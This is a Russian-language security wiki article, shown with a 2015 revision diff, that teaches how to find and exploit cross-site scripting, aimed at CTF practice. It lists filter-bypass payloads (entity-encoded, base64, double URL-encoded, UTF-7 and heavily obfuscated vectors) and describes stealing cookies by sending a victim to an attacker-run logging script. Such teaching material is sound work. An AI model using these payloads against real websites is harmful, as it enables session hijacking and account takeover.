Xss — различия между версиями

Материал из InformationSecurity WIKI
Перейти к: навигация, поиск
м
м (Частные случаи обхода фильтров)
Строка 230: Строка 230:
  
 
     <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">
 
     <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">
 +
 +
Обход путем двойного urlencode (bWAPP):
 +
 +
    %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e
 +
  
  

Версия 11:37, 28 декабря 2015

Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

ВАЖНО!! Статья пока что не включает в себя DOM XSS!

Нахождение XSS

Разделим нахождение на несколько пунктов

Поиск параметров

Для нахождения параметров можно либо воспользоваться программкой, встроенной в BurpSuite, либо найти все параметры вручную сниффером.

Чтобы включить spider'а, нужно правой кнопкой по директории -> Spider this host

Включение spider'а в BurpSuite

Подстановка

Для проверки параметров первоначально нужно удостовериться, что код выводится на странице.

Что делаем: в каждый параметр вставляем уникальную строку, которой нет на странице и делаем поиск по исходному коду.

Пример:

    Ссылка на эту страницу:
     /index.php?title=Xss

Видим, что есть параметр title (но не забывайте смотреть и пост параметры)

Тогда подставим в него строку 'testtesttest'.


Поиск параметров, выводящих вводимые переменные на экран

Видим, что наш текст вывелся - записываем его куда-нибудь и повторяем это действие с другими параметрами.

В итоге к этому моменту у нас на руках список параметров, которые нужно продолжать проверять дальше.

Изучение фильтров

Теперь начинается самое интересное!

Подставляем следующую строку в параметр:


    '":;<>/\[]<script><h1>

И далее идет разделение на результат:

Отсутствие фильтров

Если у вас текст так и остался неизменным, то мои поздравления - ВЫ нашли XSS!


Xssuccess.png


Убрался <script>

Если у вас вдруг исчез ТОЛЬКО <script>, то вероятнее всего идет поиск по опасным тегам - но и это в современном мире обходится.

Теперь посмотрим внимательнее - если у вас из строки ...a'<script>'b... получилась строка ...ab... то делаем следующее:

     test<scr<script>ipt>test


В итоге у нас должна получиться строка вида:

     test<script>test


Ну и опять же SUCCESS!


Убрались И <script> И <h1>

В этом случае чаще всего идет прогон по всем известным миру тегам - и тут обойти можно только при некоторых обстоятельствах (одно из них вы можете посмотреть в пунке 'убрались знаки <>')

Исчезли знаки '<' и '>'

Тут уже интереснее тк зависит от окружения.

В <a href='test'> и других параметрах в ' или " кавычках

Тут к нам на помощь придут такие параметры, как onload или onmouseover.

Что будет, если отослать test' onload='alert()' a='  ?

А вот что:

    <a href='test' onload='alert()' a=>


В итоге у нас запустится окошко алерта!

В тегах <script>...</script>

Тк рассчитываем, что у нас фильруются только знаки '<' и '>', то почти любой код в яве можно НАписать без них - а тем более ДОписать.

Возьмем в пример следующий код:

    <script>
            var a = 'text';
    </script>

А теперь смотрим, что будет при подстановке test1'; alert(); var b = 'test2  :

    <script>
            var a = 'text';
            alert();
            var b = 'test2';
    </script>

В итоге наш код заработает, и при достижении второй строки скрипта появится окошко алерта!

P.S.ВАЖНО!!! Если вы ошибетесь в синтаксисе js, то ваш код скорее всего не заработает. Поэтому советую проверять все в консоли.

Большинство символов преобразовались в &g t ; &l t ; и др

В этом случае вся переменная обрабатывается PHP (дополните функции из других яп) функцией под названием htmlspecialchars.

Про нее подробно написано тут: http://php.net/manual/ru/function.htmlspecialchars.php

А вот и пример ее использования (взято с google.com):

Htmlspecialchars.png

В этом случае защиту, увы, пока никак не обойти... пока...

Эксплуатация XSS

Ну нашли мы XSS - и что это нам дало? В этом пункте я приведу некоторые примеры (скорее всего их больше) эксплуатации XSS.

Кража cookies

Ну самое известное - это конечно кража чужих куки, с последующей заменой свои куки на куки жертвы и захода в аккаунт.

Что требуется для этого

  • Сниффер
  • Контакт с жертвой
  • XSS

Начну с описания сниффера

Сниффер

Обьясню доступным языком. Cниффер (в данном случае) - скрипт, записыващий все обращения к нему (в том числе и полый url).

Например у нас есть на каком то сервере файл site.ru/sniffer.php ,

(пример кода позже)

который записывает все обращения к нему.

Вот я зашел на site.ru/sniffer.php?testtesttest - и у него в логах записалось

   1) ip
   2) useragent
   3) testtesttest

, где testtesttest - чаще всего куки приписанные.

А теперь обьясняю почему на этот список стоит обратить внимание - многие задания с этим связаны на тасковых ctf.

Распространенные задания:

    Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. 
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))

Как они проходятся:

   Обходим защиту xss (при ее наличии).
   Посылаем бота на наш сниффер.
   Получаем все нужные данные со сниффера.


Все это время мы разбирали хранимые XSS (когда xss сохраняется на сервере). Вот вам пример задания на НЕ хранимую (когда xss привязывается к url):

    Есть скрипт, открывающий все ссылки,которые ему передали.
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить какой-то из пунктов (ip, useragent и(или) куки(чаще всего!))

Решение такое - же.


(нужны примеры с реальных ctf)

CSRF+XSS

Опять же вкратце - выполняет за пользователя действия, которые пользователь врят ли бы выполнил в здравом уме (например сделать администратором кого-то).

Тут кроме XSS, еще и требуется CSRF уязвимость - про нее почитать можете у нас на вики.

Опять пример:

    Есть чатобот (таких часто в вк встретишь) - который читает все сообщения. 
    Читает он их как обыкновенный человек - открывает в браузере,поддерживающем javascript.  
    Нужно у него получить флаг, который он может отправить только при post запросе при ,например, нажатии на какую-либо кнопку.

Решение:

    Раскручиваем XSS
    Пишем XSS скрипт, отсылающий нужный нам запрос от лица жертвы.
    Получаем флаг и ништяки=)


Частные случаи обхода фильтров

Вынес в отдельную часть тк xss по большей части от обхода фильтрации и зависит(она и является обходом фильтров:) (примеры собрал с нескольких сайтов - в разделе статей их напишу)

    alert(String.fromCharCode(120,97,107,110,101,116,46,114,117))


    alert(unescape(/%78%61%6b%6e%65%74%2e%72%75/.source))


    <IMG SRC=&!#106;&!#97;&!#118;&!#97;&!#115;&!#99;&!#114;&!#105;&!#112;&!#116;&!#58;&!#97;&!#108;&!#101;&!#114;&!#116;&!#40;&!#39;&!#120;&!#97;&!#107;&!#110;&!#101;&!#116;&!#46;&!#114;&!#117;&!#39;&!#41;>


    <IMG SRC=&!#0000106a&!#0000118&!#0000097&!#0000115&!#0000099&!#0000114&!#0000105&!#0000112&!#0000116&!#0000058&!#0000097&!#0000108&!#0000101&!#0000114&!#0000116&!#0000040&!#0000039&!#0000120&!#000097&!#0000107&!#0000110&!#0000101&!#0000116&!#0000046&!#0000114&!#0000117&!#0000039&!#0000041>

(знаки ! удалить)

    <IMG SRC="Ja	va	sc	ri	pt	:	al	er	t(	'me	ssa	ge'	)">


    <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgneGFrbmV0LnJ1Jyk8L3NjcmlwdD4=">

Обход путем двойного urlencode (bWAPP):

    %3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%29%3c%2f%73%63%72%69%70%74%3e


"В качестве обфускации вектора, можно использовать ActionScript через Flash, путём использования переменных и присваивания им значений, которые являются частями xss-кода."

    a="get";
    b="URL(\"";
    c="javascript:";
    d="alert('message');\")";
    eval(a+b+c+d);


"Использование UTF-7.Заключается данный способ в изменении кодировки символов xss-вектора на UTF-7. Это может сработать в тех случаях, когда в странице не указывается кодировка, и атакующий может заставить страницу испольвоть UTF-7, тем самым, обойти фильтрацию, изменив некоторые из символов UTF-8 на UTF-7."

    <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"></HEAD>+ADw-SCRIPT+AD4-alert('message');+ADw-/SCRIPT+AD4-


В статье http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/

рассказывается обход фильтрации с помощью картинки.


http://raz0r.name/news/xss-filters-bypass-on-blackhat/

А вот уже с блекхата:

    (É=[Å=[],µ=!Å+Å][µ[È=-~-~++Å]+({}+Å) [Ç=!!Å+µ,ª=Ç[Å]+Ç[+!Å],Å]+ª])() [µ[Å]+µ[Å+Å]+Ç[È]+ª](Å)
    ($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!
    +$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)


И на последок - http://www.smeegesec.com/2012/06/collection-of-cross-site-scripting-xss.html

Тут вы можете найти список xss пейлоадов для тестирования.

Статьи и прочее

Статьи

https://github.com/codedokode/pasta/blob/master/security/xss.md

https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D0%B6%D1%81%D0%B0%D0%B9%D1%82%D0%BE%D0%B2%D1%8B%D0%B9_%D1%81%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%B8%D0%BD%D0%B3

https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

http://forum.antichat.ru/threads/20140/

http://forum.antichat.ru/threads/224582/

http://dsec.ru/ipm-research-center/article/bypassing_the_filtering_of_the_uploaded_images_in_a_number_of_web_applications_for_the_implementatio/

Райтапы

NorthSec 2015 - XSS Challenge Writeups

http://holyvier.blogspot.ru/2015/05/northsec-xss-challenge-writeups.html


CSAW CTF 2014 - WEB 300

http://wiremask.eu/csaw-ctf-2014-web-300-hashes-writeup/

Тренировки

https://xss-game.appspot.com/

http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-1

http://www.root-me.org/en/Challenges/Web-Client/Javascript-Stored-XSS-2